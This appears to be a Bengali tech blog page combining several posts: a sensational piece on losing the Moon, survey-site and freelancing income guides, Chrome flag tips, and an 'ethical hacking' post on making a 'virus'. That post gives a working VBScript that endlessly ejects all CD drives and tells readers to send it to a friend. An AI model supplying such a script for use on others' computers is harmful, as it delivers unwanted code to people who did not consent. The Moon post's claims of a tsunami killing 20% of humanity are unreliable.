তাহলে পৃথিবীর সকল প্রকার প্রজাতি বড় বিপদে পরে যাবে  । পৃথিবীর কন্ডিশন হঠাট করেয় বদলে যাবে আর পৃথিবীর AXIS বা ভারসাম্য হটাত করেয় নস্ট হইয়ে যাবে। এই জন্য পৃথিবীর টেম্পারেচার ভয়ংকার রুপে বদলাতে থাকবে আর সকল প্রকার প্রানিকেই  ওয়েদার অনুযায়ি নিজের স্থান ঘন ঘন বদলাতে হবে । আর এইসব এর কারনে সকল ছোট প্রানী মারা যাবে , বরফ গলে সব কিছু ডুবে যাবে , পৃথিবীর সকল ফুড চেইন নষ্ট হয়ে যাবে । পৃথিবীর সকল জাইগার আবহাওয়া আকস্কিক রুপে চেঞ্জ হয়ে যাবে । অসাভাবিক হারে তাপমাত্রা বৃদ্ধি পাবে এবং তাছারা সকল অগ্নিয়গীরী বিস্ফরিত হতে থাকবে আর আস্থে আস্থে প্রানের অস্তিত্ত বিলুপ্ত হতে থাকবে। কিছু প্রানী এত কিছুর পরও নিজের টিকিয়ে রাখবে কিন্তু তাদের ও একটি বড় বিপদের সম্মুখিন হতে হবে । চাঁদের জন্য পৃথিবী নিজের ভারসাম্য টিকিয়ে রেখেছে  , আপনারা জানেন যে চাঁদের গ্রাভিটেশনাল পুল এর কারনে পৃথিবীতে জোয়ার ভাটা হয় , যদি চাঁদ না থাকে তাহলে এই গ্রাভিটেশনাল পুল ও থাকবে না । চাঁদের হারিয়ে যাওয়ার ফলে পৃথিবী নিজের ভারসাম্য হারিয়ে ফেলবে এবং এর কারনে সামুদ্রের পানি ফুলে ফেপে উঠবে । শুরু হবে বিশাল এক সুনামি আর পৃথিবীর প্রায় সকল দেশ এই সুনামীর কবলে পরবে । পৃথিবীর পায় ২০ শতাংশ মানুষ এই সুনামির কারনে মারা যাবে । হইতো এই সুনামির জন্য খাদ্যের বিশাল সংকঅট দেখা দিবে । এক কথায় সুন্দর পৃথিবী আর পৃথিবী থাকবে না এটি হয়ে যাবে অন্য একটি পৃথিবী যেখানে মানুষ লড়ায় করবে খাদ্যের জন্য, চিকিতস্যার জন্য , আশ্রয় এর জন্য এক কথায় বেঁচে থাকার জন্য ।  অথচ আমাদের দৈনিন্দ্য জিবনে আমরা চাঁদের গুরুত্ব বুঝি না । 

 

আজকে এই পর্যন্ত আবার আসবো আপনাদের মাঝে নতুন কোন ইনফরমেশন নিয়ে , সবাই ভাল থাকবেন সুস্থ থাকবেন এই কামনা নিয়ে শেষ করছি ।

অনলাইনে ইনকাম

অনলাইন ইনকাম বাংলা কোর্স পর্ব ২

সার্ভে সাইটে কি ভাবে কাজ করবেন বিস্তারিত জানবেন এই পর্বে

অনলাইন ইনকাম পর্ব 2 আপনাদের জন্য একটি সুপার ডুপার ওয়েবসাইট নিয়ে হাজির হয়ে গেলাম এটি হল একটি সার্ভে ওয়েবসাইট। এই সার্ভে ওয়েবসাইট থেকে আপনি পার্টটাইম কাজ করে একটি ভালো এমাউন্ট আয় করতে পারবেন এবং এই কাজটি আপনি আপনার ল্যাপটপ কিংবা ডেক্সটপের করতে পারবেন। এখান থেকে খুব সহজে আপনি skrill কিংবা Paypal এর মাধ্যমে টাকা তুলতে পারবেন, এই কাজ যে কেউ করতে পারবেন কোনরকম দক্ষতা ছাড়াই এবং এই কাজ করতে আলাদাভাবে কোন কিছু জানতে হবে না শুধুমাত্র থাকা প্রয়োজন ইংরেজি ভাষা বোঝার ক্ষমতা । শুধুমাত্র আপনি যদি ইংরেজিতে লেখা পড়তে এবং বুঝতে পারেন তাহলে আপনি এই কাজটি করতে পারবেন তাহলে চলুন এ বিষয়ে আলোচনা শুরু করা যাক।

যেই সাইটের কথা বলতেছিলাম এটি একটি জিপিটি সাইট । এই সাইটে আপনাকে যে ধরনের সার্ভিস করে দিয়ে থাকে

সেগুলো হলো :

অনলাইন ইনকাম
অনলাইন ইনকাম

কি ভাবে একাউন্ট খুলতে হবে ?

এই সার্ভে ওয়েবসাইট টিতে আপনি একাউন্ট খুললেই জয়েনিং বোনাস পাবেন 20 সেন্ট এর মতো এবং বাকি সার্ভে সাইট থেকে এই সার্ভে ওয়েবসাইট টি রেফারেল কমিশন বেশি দিয়ে থাকে। তাছাড়া এই ওয়েবসাইটে অনলাইন রিভিউ মোটামুটি সন্তোষজনক। এখন আমি আপনাদের step-by-step দেখাবো কি করে এই সার্ভে ওয়েবসাইটে অ্যাকাউন্ট খুলতে হয়।

সার্ভে ওয়েবসাইট টিতে ঢুকেই হোমপেজ হোম পেজ দেখতে পাবেন এবং দেখবেন প্রথমেই লেখা আছে জয়েন ফ্রি । join frree ক্লিক করুন এখানে ক্লিক করার পর আপনাকে সরাসরি এদের রেজিস্ট্রেশন পেজে নিয়ে যাবে। রেজিস্ট্রেশন রেজিস্ট্রেশন পেজ টিতে আসার পর রেজিস্ট্রেশন ফরম পূরণ করতে হবে। রেজিস্ট্রেশন ফরমেট প্রথমেই আপনাকে

 

১। আপনার ফার্স্ট নেম বসাতে হবে

২। লাস্ট নেম বসাতে হবে

৩।একটি ইউজারনেম বসাতে হবে

৪। আপনাকে একটি ইউনিক পাসওয়ার্ড বসাতে হবে

৫।আপনার ইমেইল বসাতে হবে

৬। তারপর আপনার কাঙ্খিত এড্রেস টি বসাতে হবে

৭। আপনার সঠিক ঠিকানাটি বসাতে হবে

 

কিছু প্রয়োজনীয় বিষয়ঃ

যেহেতু সার্ভে ওয়েবসাইট টিতে কোন ধরনের ভিপিএন অথবা প্রক্সি ব্যবহার করতে হবে না তাই আপনার সঠিক ঠিকানা টি বসান। ফরমটি পূরণ করা হয়ে গেলে নিচের দিকে স্ক্রল করলে দেখতে পাবেন তাদের ট্রাম্প এন্ড কন্ডিশন।

বিশেষ দ্রষ্টব্যঃ এই সার্ভে ওয়েবসাইট টিতে কাজ করতে হলে অবশ্যই আপনাকে একটি রিয়েলআইপি ব্যবহার করতে হবে। রিয়েল আইপি ব্যবহার না করলে এই সার্ভে ওয়েবসাইট টিতে কোন ধরনের কাজ পাবেন না। এখানে কিন্তু তারা বলেই দিয়েছে যে এখানে আপনি কোন ধরনের ভিপিএন অথবা কোন ধরনের রিয়েল আইপি ব্যবহার করতে পারবেন না।

"<yoastmark

কাজের নিয়মাবলীঃ

এখন কথা হলো এখানে আপনাকে কি ধরনের কাজ দেওয়া হবে । এখানে শুধুমাত্র আপনাকে তারা কিছু সার্ভে করতে দেবে । আমি আমি বিষয়টিকে পরিষ্কার করার জন্য আপনাদের একটি ছোট উদাহরণ দিতেছি, ধরুন আপনাকে জিজ্ঞেস করা হবে

১। আপনি কি কোন মাধ্যমিক স্কুলে পড়াশোনা করেছেন?

২। আপনার বাড়িতে কতজন সদস্য মার্কেটিং এ চাকরি করেন?

৩। আপনার জন্ম কত সালে?

৪। আপনার বয়স কত?

৫। আপনি অ্যাপেল কোম্পানির কি কি প্রোডাক্ট ব্যবহার করেন

সকল প্রশ্নের সঠিক উত্তর দিবেন কোন ভুল উত্তর কিন্তু দিবেন না। এখানে শুধুমাত্র আপনার ব্যক্তিগত ইনফরমেশন তারা চেয়ে থাকে। তাই দেখা যাচ্ছে,আপনাকে আজকে জিজ্ঞেস করেছে আপনার এই কয়জন লোক আছেন? আপনি উত্তর দিয়েছেন 4 জন আবার পরবর্তী এক সপ্তা পর আপনাকে তারা পুনরায় জিজ্ঞেস করল আপনার বাড়িতে কতজন সদস্য রয়েছেন? আপনি উত্তর দিলেন পাঁচজন। তখন কিন্তু আপনার অ্যাকাউন্টটি ব্যান্ড করে দেওয়া হবে কারণ তারা আপনাকে পে করবে । শুধুমাত্র আপনার ব্যক্তিগত ইনফরমেশনের জন্য। আর এই ব্যক্তিগত ইনফরমেশন দিয়ে তারা বিভিন্ন কোম্পানির প্রোডাক্ট এর সার্ভে লিস্ট তৈরি করে এবং সেগুলো কোম্পানিগুলোর কাছে বিক্রি করে। প্রত্যেকটি কোম্পানি চাই তাদের গ্রাহকদের ভালো সেবা দিতে তাই তাদের প্রোডাক্ট গুলো আরো উন্নত করার জন্য তারা এই সার্ভে লিস্ট কিনে থাকে যার মাধ্যমে তারা জানতে পারে যে তাদের প্রোডাক্ট গুলো কি পরিমান ব্যবহার হচ্ছে এবং প্রোডাক্ট গুলো ব্যবহারের সাথে সাথে কেমন পারফরম্যান্স পাচ্ছে এই সকল তথ্য কিন্তু কোম্পানিগুলো সার্ভের মাধ্যমে পেয়ে থাকে।

আশাকরি আজকের বিষয়টি সম্পর্কে আপনারা একটি পরিপূর্ণ ধারণা পেয়েছেন যদি সার্ভে ওয়েবসাইট নিয়ে অথবা যেকোনো ধরনের প্রশ্ন থেকে থাকে তাহলে অবশ্যই কমেন্ট বক্সে কমেন্ট করে জানাবেন আমি চেষ্টা করব আপনাদের প্রশ্নের উত্তর দেওয়ার। আজকে এই পর্যন্তই সবাই ভাল থাকবেন সুস্থ থাকবেন এবং নতুন কিছু জানতে আমাদের ওয়েবসাইটটি ভিজিট করবেন।

টিপস এন্ড ট্রিকস

ব্রাউজিং ও ডাউনলোডিং করুন আরো ফাস্ট ( গুগল ক্রোম ফ্ল্যাগ )

আজকের আলোচনার বিষয় গুগল ক্রোমের কিছু ফিচার নিয়ে।  আপনি যদি আপনার ইন্টারনেট ব্রাউজিং এক্সপেরিয়েন্স আরো ভালো করতে চান তাহলে এই  আর্টিকেলটি আপনার জন্য। প্রথমে বলে রাখাটা ভালো যে এটা শুধুই কিছু গুগল ক্রোমের সেটিংস মাত্র। এই সেটিংস গুলো এখনো পরীক্ষাধীন অবস্থায় আছে তাই কোন সময় যদি আপনার মনে হয়। এই সেটিংস এর জন্য আপনার কোন সমস্যা হচ্ছে তাহলে অবশ্যই আগের সেটিংসে ফিরে যাবেন।

এই সেটিংস টির নাম হচ্ছে chrome flag, যেটা আপনি গুগল ক্রোম এর মধ্যে পাবেন। আপনি সেটিংস টি Enable করলে অনেকগুলো ফিচার বেশি পাবেন। যেমন আপনি ডাউনলোড স্পিড তুলনামূলক বেশি ভাবেন, ব্রাউজিং স্পিড আগের থেকে ইমপ্রুভ হবে ইত্যাদি। তো আপনি কিভাবে গুগল ক্রোম ফ্ল্যাগ সেটিংস এর ভিতর  যাবেন?? এর জন্য এড্রেসবারে টাইপ করুন chrome://flags” 

গুগল ক্রোম ফ্ল্যাগ
গুগল ক্রোম ফ্ল্যাগ

১। ফাস্ট ডাউনলোড (Parallel Downloading)

গুগোল তার ক্রোম ব্রাউজারের সমস্ত ফিচার আস্তে আস্তে আরো বেশি ইম্প্রুভ করছে। তারমধ্যে এটাও একটি। আপনি শুধু আপনার গুগল ক্রোম ফ্ল্যাগ সেটিংসে গিয়ে Parallel Downloading অপশনটি এনাবল করে দেন। এরপর আপনার যেকোন ফাইল আগের থেকে অনেক ভাল স্পিড ডাউনলোড হবে। 

২। ফাস্ট ব্রাউজিং (Experimental QUIC Protocol)

গুগল ক্রোম ফ্ল্যাগ
গুগল ক্রোম ফ্ল্যাগ

দ্রুত ব্রাউজ করতে কেনা চাই? তাই গুগোল তাদের ক্রোম ব্রাউজারে Experimental QUIC Protocol নামে একটি ফিচার চালু করেছে। এটা মূলত একটি প্রটোকল, যেটা আপনার ব্রাউজিং স্পিড আরো বাড়িয়ে দিবে। আর সিকিউরিটির ক্ষেত্রে আশা করি গুগলের বিকল্প কাউকে আপনারা করবেন না।  

এটার জন্য আপনার ক্রোম ফ্ল্যাগ অপশনে গিয়ে Experimental QUIC Protocol সার্চ করুন। ওটা ডিফল্ট থেকে এনাবল করে দেন।

৩। পাসওয়ার্ড জেনারেশন ( Automatic Password Generation ) 

আমরা অনেক সময়ই একই পাসওয়ার্ড অনেক জায়গায় ব্যবহার করি।  কিন্তু এটা আমাদের অনলাইন সিকিউরিটির জন্য অনেক খারাপ। তাই আপনি অটোমেটিক পাসওয়ার্ড জেনারেশন এর জন্য গুগল ক্রোম ফ্ল্যাগ টি ব্যবহার করতে পারেন। এটা আপনাকে অনেক শক্তিশালী একটা পাসওয়ার্ড বানিয়ে দেবে। আপনি বিভিন্ন জায়গায় বিভিন্ন ধরনের পাসওয়ার্ড ব্যবহার করতে পারবেন। আর গুগলের পাসওয়ার্ড ম্যানেজার তো আছেই পাসওয়ার্ড সেভ করে রাখার জন্য।  এটি এনাবল করতে গুগল ক্রোমের ফ্ল্যাগ অপশনে গিয়ে Automatic Password Generation  লিখে সার্চ করুন। এবার এটা এনাবল করে দেন।ব্যাস হয়ে গেছে। 

এথ্যিক্যাল হ্যাকিংঃ পর্ব ৩; Information Gathering কি ও footprinting নিয়ে বিস্তারিত

৪। সিকিউরিটি (Anonymize Local IPs Exposed by WebRTC )

আপনি যদি একটু সিকিউরিটি মাইন্ডেড হয়ে থাকেন তবে এই ফিচার টি অবশ্যই আপনার জন্য। এই ফ্ল্যাগটি  চালু করলে আপনার লোকাল আইপি mDNS হোস্ট নেম এর সাথে যুক্ত হয়ে এক্সট্রা লেয়ার প্রদান করবে। যদিও এটা নিয়ে আলাদা একটা টপিক লেখার ইচ্ছা আছে।  কেননা WebRTC সম্পর্কে আমরা অনেকেই জানিনা। যাইহোক, এই ফ্ল্যাগটি চালু করতে সার্চ করুন Anonymize Local IPs Exposed by WebRTC। 

 

অনলাইনে ইনকাম

অনলাইন ইনকাম বাংলা কোর্স পর্ব 1

অনলাইন ইনকাম পর্ব 1

 

 আজ আমি আপনাদের সাথে আলোচনা করব অনলাইন ইনকাম  ভিত্তিক কিছু বিষয় নিয়ে। যা আপনাদের অনলাইন ইনকাম সম্পর্কে কিছুটা হলেও ধারণা দিবে   এবং অতি শীঘ্রই আমাদের এই ওয়েবসাইটটিতে অনলাইন সম্পর্কিত আরও অনেক আর্টিকেল দেখতে পাবেন ।  যারা অনলাইনে কাজ করতে ইচ্ছুক কিন্তু উপযুক্ত প্রশিক্ষণ না পাওয়ার কারণে কাজ করতে পারছেন না তাদের জন্য আমাদের এই ওয়েবসাইট নিয়ে আসতেছে  একটি ফ্রি কোর্স ।

 

অনলাইন ইনকাম কোর্স এর  এই প্রথম পর্বে আমি আপনাদের সাথে আলোচনা করব কিছু বেসিক জিনিস নিয়ে যেগুলো সম্পর্কে সবারই কমবেশি ধারণা আছে।  আজকের এই আলোচনা পর্ব শুরু করা যাক। আলোচনার শুরুতেই আমি যে বিষয়টি নিয়ে কথা বলব সেটি হলো যে কেউ কখনোই একবারে কোন কিছুই শিখতে পারে না। তবে  প্রতিনিয়ত চর্চার মাধ্যমে যে কেউ যেকোনো বিষয়ে দক্ষ হয়ে উঠতে পারেন। অনেকেই ভাবেন অনলাইনে ইনকাম করা অনেক সহজ আবার অনেকেই ভাবেন যে অনলাইনে ইনকাম করা হয়তোবা অনেক কঠিন।  আসলে কোন কিছু খুব সহজ অথবা কোন খুব কঠিন হওয়াটা আমাদের নিজেদের ওপর ডিপেন্ড করে কারণ আমরা কোন জিনিসটা কিভাবে নিব সেটি নির্ভর করবে আমাদের ইচ্ছার ওপর। যাইহোক অনলাইনে কাজ করা আহামরি কোন  কিছু নয় তবে তার জন্য প্রয়োজন উপযুক্ত প্রশিক্ষণ। একটু ধৈর্য ধরে চেষ্টা করলে আপনিও অনলাইন থেকে আয় করতে পারবেন।

একজন ফ্রিল্যান্সার হওয়ার জন্য আপনার প্রয়োজন শুধুমাত্র একটি ডেস্কটপ কম্পিউটার এবং একটি ব্রডব্যান্ড ইন্টারনেট কানেকশন। আজ আমি আপনাদের নির্দিষ্ট কোন  বিষয় নিয়ে কোন কিছুই বলবো না শুধুমাত্র অনলাইনে ইনকাম সম্পর্কিত নির্দিষ্ট কিছু বিষয়ে আলোচনা করব।

 

যা যা প্রয়োজন ফ্রিল্যান্সার হওয়ার  জন্য  

১.  ইমেল এড্রেস প্রয়োজন

অনলাইনে ইনকাম করতে সবার আগে আপনার  একটি ইমেইল এড্রেস প্রয়োজন, gimal.com থেকে আপনি আপনার  ইমেইল একাউন্ট খুলতে পারবেন পারো অনলাইনে ওয়েবসাইট এবং ওয়েবসাইটে একাউন্ট খুলতে হলে আপনার প্রয়োজন একটি ইমেইল এড্রেস।  ফেইসবুক ডটকম একাউন্ট খুলতে হলে ফেইসবুক যেমন আপনার কাছ থেকে একটি মোবাইল নাম্বার অথবা একটি ইমেইল এড্রেস চাই ঠিক তেমনিভাবে  ফ্রিল্যান্সিং সাইটগুলোতে অ্যাকাউন্ট খুলতে হলে আপনার একটি নির্দিষ্ট ইমেল এড্রেস প্রয়োজন।

২.  লেনদেনের জন্য একটি  ই-ওয়ালেট প্রয়োজন

চিন্তা করার কোনো কারণ নেই কারণ বাংলাদেশে  বর্তমানে এমন অনেক ফ্রিল্যান্সার আছে যারা বাংলাদেশ থেকে বহির্বিশ্বের সাথে লেনদেন করতেছে  ইন্টারনেট ওয়ালেট এর মাধ্যমে। ই ওয়ালেট অথবা ইন্টারনেট ওয়ালেট কি? যদি আপনি না জানেন যে ইন্টারনেট ওয়ালেট কি? তাহলে ইন্টারনেট  ওয়ালেট সম্পর্কিত আর্টিকেলটি পড়ে আসুন তাহলে আপনি ইন্টারনেট ওয়ালেট সম্পরকিত সকল উত্তর সেখানে পেয়ে যাবেন। আমি অনলাইনে লেনদেন করার  জন্য একাউন্ট সম্পর্কে ধারণা দিতেছি।

যেমন ধরুন   পেপাল ,পেইনর,   নেটেলার, ওয়েব মানি অথবা আপনি ব্যাংক একাউন্টের মাধ্যমে লেনদেন করতে পারেন।

বিশেষ দ্রষ্টব্যঃ কারো যদি কোন প্রশ্ন থাকে অথবা কোন কিছু বুঝতে সমস্যা হয় তাহলে সরাসরি  ইনবক্সে কমেন্ট করতে ভুলবেন না।


তাহলে বন্ধুরা    আজকের পর্বের আলোচনা এখানেই শেষ  করতেছি , এর পরের পর্বে আবার আসব নতুন কিছু নিয়ে আপনাদের মাঝে শেয়ার করতে। সবাই ভাল থাকবেন সুস্থ থাকবেন , আজকের মত  এখানেই বিদায় নিতেছি।

ইথ্যিক্যাল হ্যাকিং

কি ভাবে একটি “ডস” ভাইরাস বানাবেন?

আমি আবার চলে এসেছি নতুন কিছু নিয়ে যা আপনারা হইতো আগে দেখেন নাই, এথিকাল হ্যাকিং এর এই পর্বে আমি আপনাদের শেখাবো ইউনিক কিছু আসা করি সবার ভালো লাগবে।

আজ আমি আপনাদের ভাইরাস বানানো শেখাবো যা দিয়ে আপনি নিজেই যে কোন কম্পিউটারে শুধু কিছু কোড লেখে বানাতে পারবেন ভাইরাস এবং এটা দিয়ে আপনার বন্ধু দের তাক লাগিয়ে দিতে পারবেন।

চলুন শুরু করা যাক

☣↪এই ভাইরাস দ্বারা আপনার বন্ধুর C.D drive বার বার পপ আপ হতে থাকবে অটোমেটিক।

????বিঃদ্রঃ অল্প বিদ্যা ভয়ংকর

Continually pop out your friend’s CD Drive. If he / she has more than one, it pops out all of them????????????????????????????????????????????????????????????

আপনাকে প্রথমে একটি নোটপাড ওপেন করতে হবে এবং নিচের কোড গুলো কপি করে নোট পাড এ পেস্ট করতে হবে।

কোড গুলো হলোঃ

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

এবং Emoo.VBS লিখে সেভ করুন ফাইলটি।

এবার আপনার বন্ধুকে ফাইলটি সেন্ড করুন তার পর দেখুন আপনার বন্ধুর রিয়াকশন।

>> এটি ছিল একটি ডস ভাইরাস এর বেসিক রুপ <<
ভাইরাস! ☠ ভাইরাস!

আবার আসবো নতুন কিছু নিয়ে।
জ্ঞান শেয়ারিং এ বৃদ্ধ হয়
ভাল থাকবেন সবাই????????  [email protected]

Latest From:

কিভাবে আইফোন, আইপ্যাড, এবং ম্যাক এর গেম সেন্টার ডিজেবল করবেন?

কিভাবে আইফোন, আইপ্যাড, এবং ম্যাক এর গেম সেন্টার ডিজেবল করবেন? কেমন আছেন সবাই? আজ আবারও আরেকটি টিউটোরয়াল নিয়ে হাজির হলাম আপনাদের কাছে । আজ আমি...
Latest From:

অ্যান্ড্রোয়েডের অজানা ৭ টি ফ্যাক্ট

আপনি যদি একজন Android ব্যবহারকারী হয়ে থাকেন, তবে android এর কিছু মজার বিষয় আপনার জানা দরকার। Android এর এমন কিছু ফ্যাক্ট রয়েছে যা আপনি জানেন...
Latest From:

নতুন টেকনলজি ফ্লাইং কার এর আবিষ্কার

নতুন টেকনলজি ফ্লাইং কার এর আবিষ্কার ভবিষ্যতের প্রযুক্তির ক্ষেত্রে সব থেকে বেশি গবেষনা করা হচ্ছে পরিবহন ব্যবস্থা নিয়ে হাইপার লুক অথবা ইলেক্ট্রিক কার এর সাথে...
Latest From:

ফেসবুক ফ্রি এড এর আদ্যপ্রান্ত, চলুন দেখি কি আছে এর মাঝে

মহা জ্ঞ্যানী, মহা পাপী কিছু বান্দা আছে, যারা ফেসবুকে ফ্রি এড চালিয়ে নিজেকে সুপারম্যান ভেবে থাকে। যেমন আমি 😎, এই কথা শোনার পরে আপনার মনে...
Add your widget here